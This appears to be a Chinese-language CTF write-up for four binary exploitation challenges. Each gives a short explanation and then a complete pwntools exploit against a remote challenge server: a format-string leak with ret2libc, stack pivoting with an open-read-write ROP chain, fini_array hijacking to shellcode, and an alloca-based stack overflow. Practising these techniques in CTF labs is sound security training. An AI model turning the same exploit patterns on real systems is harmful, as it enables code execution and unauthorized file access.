love:
格式化字符串泄露canary和libc
官方给的是覆盖TLS上的canary,因为使用了gets
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
io=remote("node4.anna.nssctf.cn",28310)
# io=process("./pwn")
libc=ELF("./libc.so.6")
# gdb.attach(io)
# pause()
pop_rdi=0x4013f3
ret=0x40101a
io.recvuntil(b"Toka\n\n")
# payload="%15$p.%17$p.%486c%9$n" #520-18-14-2
payload="%520c%9$n.%15$p.%17$p"
io.send(payload)
# gdb.attach(io)
# pause()
io.recvuntil(b".")
canary=int(io.recv(18),16)
io.recvuntil(b".")
leak_addr=int(io.recv(14),16)-libc.sym[b"__libc_start_main"]-243
sys_addr=leak_addr+libc.sym[b"system"]
sh_addr=leak_addr+next(libc.search(b"/bin/sh"))
print("canary: ",hex(canary))
print("leak_addr: ",hex(leak_addr))
payload=cyclic(0x28)+p64(canary)+p64(0)+p64(ret)+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr)
io.sendlineafter(b"vel\n\n",payload)
io.interactive()
rbp:
栈迁移+orw:
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./rbp")
io=remote("node2.anna.nssctf.cn",28341)
elf=ELF("./rbp")
libc=ELF("./libc-2.31.so")
pop_rdi=0x401353
leave_ret=0x40121d
read_text=0x401292
puts_got=elf.got[b"puts"]
puts_plt=elf.plt[b"puts"]
payload=cyclic(0x210)+p64(0x404910)+p64(read_text)
io.sendafter(b"try it\n",payload)
payload=p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x401270)
payload=payload.ljust(0x210,b"a")+p64(0x404910-0x210)+p64(leave_ret)
io.send(payload)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"puts"]
print("leak_addr: "+hex(leak_addr))
open_a=leak_addr+libc.sym[b"open"]
read_a=leak_addr+libc.sym[b"read"]
write_a=leak_addr+libc.sym[b"write"]
pop_rsi=leak_addr+0x2601f
pop_rdx=leak_addr+0x142c92
# gdb.attach(io)
# pause()
payload=cyclic(0x210)+p64(0x404498)+p64(read_text)
io.sendafter(b"try it\n",payload)
#open
orw=b"/flag\x00\x00\x00"+p64(pop_rdi)+p64(0x404288)+p64(pop_rsi)+p64(0)+p64(open_a)
#read
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x404a00)+p64(pop_rdx)+p64(0x50)+p64(read_a)
#write
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0x404a00)+p64(pop_rdx)+p64(0x50)+p64(write_a)
orw=orw.ljust(0x210,b"a")+p64(0x404490-0x208)+p64(leave_ret)
io.send(orw)
io.interactive()
xor:
存在xor每次只能异或一个字节,但是最开始有flag判断
flag初值为0,函数进入条件小于等于0
需要通过第一次异或将flag的符号位覆盖为0xff即可绕过
后面向rwx段写shellcode,最后劫持fini_array
指针到shellcode处即可
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./pwn")
io=remote("node4.anna.nssctf.cn",28981)
libc=ELF("./libc.so.6")
def xorenc(addr,val):
io.sendlineafter(b"addr: ",addr)
io.sendlineafter(b"value: ",val)
# gdb.attach(io)
# pause()
pop_rdi=0x2a3e5
flag=0x600bcc
fini_array=0x600970
sc_addr=0x600d00 # xor 0x400610 20 0B10
xorenc(hex(flag+3).encode(),b"0xff")
xorenc(hex(fini_array).encode(),b"0x10")
xorenc(hex(fini_array+1).encode(),b"0x0b")
xorenc(hex(fini_array+2).encode(),b"0x20")
shellcode=asm(shellcraft.sh())
for i in range(len(shellcode)):
xorenc(hex(sc_addr+i),hex(shellcode[i]).encode())
xorenc(hex(flag+3).encode(),b"0xff") #trigger
io.interactive()
read_file:
第一次输入远端除去含flag
字串的文件名使得file_flag
为真从而能进入read_file函数
远端flag.txt
8字节可以让file_fd
覆盖为0,使fd=0,read从键盘输入
read_file里面输入length时调用alloca()
在栈上分配空间,使得后续可以栈溢出
此时file_name为flag.txt
,通过load_file函数加上偏移直接跳转到
file_fd = open(file_name, 0, 0LL);
从而绕过flag
字串判断
第一个ret
使得程序正常跳转到最read_file,第二个ret
平衡栈
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
io=process("./pwn")
# io=remote("node2.anna.nssctf.cn",28565)
load_text=0x401493
leak=0x4014ee
ret=0x40101a
io.sendlineafter(b">> ",b"1")
io.sendlineafter(b"file_name : ",b".")
io.sendlineafter(b">> ",b"1")
io.sendlineafter(b"file_name : ",b"flag.txt")
io.sendlineafter(b">> ",b"2")
io.sendlineafter(b"file_content_length : ",b"1")
io.recvuntil(b"read more \n")
gdb.attach(io)
pause()
payload=cyclic(0x18)+p64(load_text)+p64(ret)*2+p64(leak)
io.send(payload)
io.sendlineafter(b"file_content_length : ",b"1")
io.interactive()